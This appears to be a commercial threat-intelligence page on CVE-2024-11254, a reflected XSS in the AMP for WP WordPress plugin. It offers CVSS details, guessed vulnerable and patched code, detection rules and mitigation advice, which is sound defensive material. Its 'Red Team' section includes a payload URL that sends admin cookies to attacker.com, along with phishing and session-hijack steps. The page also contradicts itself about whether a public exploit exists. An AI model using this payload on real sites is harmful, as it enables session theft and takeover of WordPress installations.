☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-11254

CVE-2024-11254 Cross-Site Scripting in Amp for wp
📅 PUBLISHED: 2024-12-18 03:22 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.63%
👁️
0.63% probability
15.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-11254 is a reflected cross-site scripting (XSS) vulnerability in the AMP for WP – Accelerated Mobile Pages plugin for WordPress, affecting all versions up to and including 1.1.1. The flaw resides in the disqus_name parameter, which is insufficiently sanitized before being reflected back to the user. An unauthenticated attacker can craft a malicious link that, when clicked by a logged-in administrator or editor, executes arbitrary JavaScript in the context of the WordPress admin panel. This can lead to session hijacking, privilege escalation, or defacement. The vulnerability is classified as medium severity (CVSS 6.1) and currently has no known public exploit or patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Impact

As a WordPress plugin vulnerability, this affects sites using the AMP for WP plugin. Attackers can target any user with the ability to view the vulnerable page, but the most severe impact occurs when an administrator is tricked into clicking the malicious link, potentially granting the attacker full control over the WordPress installation.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed to trigger the reflection.
  • User Interaction (UI): Required (R) – Victim must click a crafted link.
  • Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component (e.g., admin cookies).
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is 6.1, the lack of authentication requirements and the potential for admin-level compromise elevate the risk for unpatched sites.

Deep Dive & Mechanics

The vulnerability exists in the disqus_name parameter, likely used for displaying a user's Disqus comment name. The plugin fails to properly validate or escape this parameter before outputting it in the HTML response. An attacker can inject a payload such as:

?disqus_name=<script>alert('XSS')</script>

When the victim visits the crafted URL, the browser renders the injected script, executing arbitrary JavaScript. The reflection occurs in the context of the WordPress admin area, allowing the script to access cookies, local storage, and perform actions on behalf of the victim.

Root Cause: Insufficient input validation and lack of output encoding for the disqus_name parameter. The plugin likely uses echo $_GET['disqus_name'] or similar without proper sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical):

// In a template or shortcode handler
$disqus_name = $_GET['disqus_name'];
echo "<div class='disqus-name'>" . $disqus_name . "</div>";

Patched Code (expected):

$disqus_name = isset($_GET['disqus_name']) ? sanitize_text_field($_GET['disqus_name']) : '';
echo "<div class='disqus-name'>" . esc_html($disqus_name) . "</div>";

The patch would use sanitize_text_field() to strip malicious content and esc_html() to encode HTML entities before output.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install WordPress 6.x with AMP for WP plugin version 1.1.1.
  2. Ensure the plugin is active and the vulnerable page is accessible (e.g., a post or page that includes the Disqus integration).

Exploit Payload:

http://target.com/wp-admin/admin-ajax.php?action=ampforwp_disqus&disqus_name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

  1. Craft the malicious URL with the XSS payload.
  2. Send the link to a logged-in administrator via email or social engineering.
  3. When the admin clicks the link, the script executes, exfiltrating their session cookie to the attacker's server.
  4. Use the stolen cookie to hijack the admin session.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing disqus_name= followed by suspicious characters like <, >, script, onerror, etc.
  • Use WAF rules to block requests with obvious XSS patterns in the disqus_name parameter.

Mitigation:

  • Immediately disable the AMP for WP plugin if no patch is available.
  • Implement a Web Application Firewall (WAF) rule to block reflected XSS attempts.
  • Educate users about phishing links and the dangers of clicking untrusted URLs.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing disqus_name=<script> or similar XSS patterns.
    • Outbound connections to unknown domains from the WordPress server (data exfiltration).
  • File IOCs:
    • Modified WordPress core files or plugin files (e.g., wp-content/plugins/accelerated-mobile-pages/).
    • Suspicious JavaScript files in the uploads directory.
  • Log IOCs:
    • Repeated 404 errors for non-existent pages with disqus_name parameter.
    • Admin login attempts from unusual IP addresses after the XSS execution.

Detection Engineering

YARA Rule

rule CVE_2024_11254_XSS {
    meta:
        description = "Detects reflected XSS attempts against AMP for WP disqus_name parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11254"
    strings:
        $xss_payload = /disqus_name=.*(<|%3C|\\x3C).*(script|img|onerror|onload|alert|prompt|confirm)/
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS via AMP for WP disqus_name Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS patterns in the disqus_name parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "disqus_name="
        cs-uri-query|re: "(<|%3C|\\x3C).*(script|img|onerror|onload|alert|prompt|confirm)"
    condition: selection
falsepositives:
    - Legitimate use of HTML in Disqus names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11254 Reflected XSS in AMP for WP disqus_name"; flow:to_server,established; content:"disqus_name="; http_uri; pcre:"/(<|%3C|\\x3C).*(script|img|onerror|onload|alert|prompt|confirm)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Implement a WAF rule to block requests containing disqus_name= with HTML tags.
  3. Review server logs for signs of exploitation.

Long-Term Fix:

  • The vendor must release a patched version that properly sanitizes the disqus_name parameter using sanitize_text_field() and esc_html().
  • Alternatively, remove the vulnerable functionality entirely.

Workaround:

  • Edit the plugin file (if you must keep it active) to add input validation:
    $disqus_name = isset($_GET['disqus_name']) ? sanitize_text_field($_GET['disqus_name']) : '';
    
    Then replace all direct echoes with esc_html($disqus_name).

Valters IT
Cyber Threat Intelligence & DevSecOps

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"AMP for WP"
http.html:"ampforwp"
http.html:"accelerated-mobile-pages"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-11254/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.